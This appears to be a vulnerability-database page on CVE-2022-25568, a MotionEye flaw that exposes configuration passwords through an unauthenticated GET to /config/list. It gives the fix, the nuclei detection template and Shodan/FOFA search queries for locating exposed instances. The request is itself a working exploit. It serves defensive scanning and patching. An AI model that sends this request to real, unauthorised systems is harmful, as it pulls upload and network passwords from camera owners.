Browse / CVEs / CVE-2022-25568
CVE-2022-25568· motioneye project / motioneye· CWE-1188
MotionEye Config Info Disclosure
MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured.
Impact
Unauthenticated attackers can access sensitive MotionEye configuration data including upload passwords and network passwords through the /config/list endpoint when regular user authentication is not configured, potentially compromising camera systems and network access.
Fix
Update MotionEye to version 0.42.2 or later and ensure regular user passwords are properly configured to restrict access.
How to confirm it
Send: GET {{BaseURL}}/config/list
Positive when: contains "upload_password" and "network_password" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2022-25568 -u <target>
The full check
id: CVE-2022-25568
info:
name: MotionEye Config Info Disclosure
author: DhiyaneshDK
severity: high
description: |
MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured.
impact: |
Unauthenticated attackers can access sensitive MotionEye configuration data including upload passwords and network passwords through the /config/list endpoint when regular user authentication is not configured, potentially compromising camera systems and network access.
remediation: |
Update MotionEye to version 0.42.2 or later and ensure regular user passwords are properly configured to restrict access.
reference:
- https://www.pizzapower.me/2022/02/17/motioneye-config-info-disclosure/
- https://github.com/ccrisan/motioneye/issues/2292
- https://nvd.nist.gov/vuln/detail/cve-2022-25568
- https://github.com/KayCHENvip/vulnerability-poc
- https://github.com/Miraitowa70/POC-Notes
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-25568
cwe-id: CWE-1188
epss-score: 0.0686
epss-percentile: 0.94098
cpe: cpe:2.3:a:motioneye_project:motioneye:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: motioneye_project
product: motioneye
shodan-query:
- html:"MotionEye"
- http.html:"motioneye"
fofa-query: body="motioneye"
tags: cve,cve2022,motioneye,config,motioneye_project,vuln
http:
- method: GET
path:
- "{{BaseURL}}/config/list"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "upload_password"
- "network_password"
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200References
- https://www.pizzapower.me/2022/02/17/motioneye-config-info-disclosure/
- https://github.com/ccrisan/motioneye/issues/2292
- https://nvd.nist.gov/vuln/detail/cve-2022-25568
- https://github.com/KayCHENvip/vulnerability-poc
- https://github.com/Miraitowa70/POC-Notes
Use this check only on systems you are authorised to test. Where the data comes from